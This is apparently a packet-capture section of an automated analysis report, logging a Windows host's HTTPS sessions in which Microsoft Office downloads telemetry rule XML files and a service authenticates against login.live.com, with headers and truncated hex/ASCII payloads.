2024-11-25 23:08:07 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:06 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:06 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 6cd4c015-001e-0028-29fd-3ec49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230806Z-174c587ffdfmrvb9hC1TEBtn3800000006n000000000a2ff x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:06 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:06 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:06 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 3ae325a6-f01e-001f-6051-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230806Z-15b8b599d88tmlzshC1TEB4xpn00000006gg000000009mxy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:07 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:08 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:08 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 17c3c293-501e-00a3-6567-3bc0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230808Z-178bfbc474bq2pr7hC1NYCkfgg000000086g00000000k45e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:09 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:08 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:09 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 4712fcc8-d01e-002b-279a-3b25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230809Z-174c587ffdfl22mzhC1TEBk40c00000006ng00000000tuaf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:09 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:08 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:09 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 3257c6a6-201e-005d-32b4-3eafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230809Z-178bfbc474bw8bwphC1NYC38b400000007yg00000000c2us x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:09 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49769	20.190.181.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:08 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 23:08:08 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 23:08:09 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 23:07:09 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C511_BAY x-ms-request-id: 7400d2bb-307b-48f8-95e5-0d85d92cdaa9 PPServer: PPV: 30 H: PH1PEPF00011FA3 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 23:08:09 GMT Connection: close Content-Length: 11409
2024-11-25 23:08:09 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:08 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:09 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: c312cdef-801e-0083-52a3-3ef0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230809Z-178bfbc474brk967hC1NYCfu6000000007ug00000000q5xp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:09 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:09 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:09 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 4860472f-101e-0028-01d0-3e8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230809Z-178bfbc474bh5zbqhC1NYCkdug0000000850000000001706 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:10 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:10 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:11 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 561f43d7-f01e-0096-2f75-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230811Z-174c587ffdfp4vpjhC1TEBybqw00000006fg00000000usc2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:11 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:10 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:11 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 5fd12e2e-e01e-0051-1fc8-3e84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230811Z-178bfbc474bmqmgjhC1NYCy16c000000083g00000000p07s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:11 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:10 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:11 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: f440515e-401e-0029-2e38-3c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230811Z-178bfbc474bv7whqhC1NYC1fg4000000085g000000007m0v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
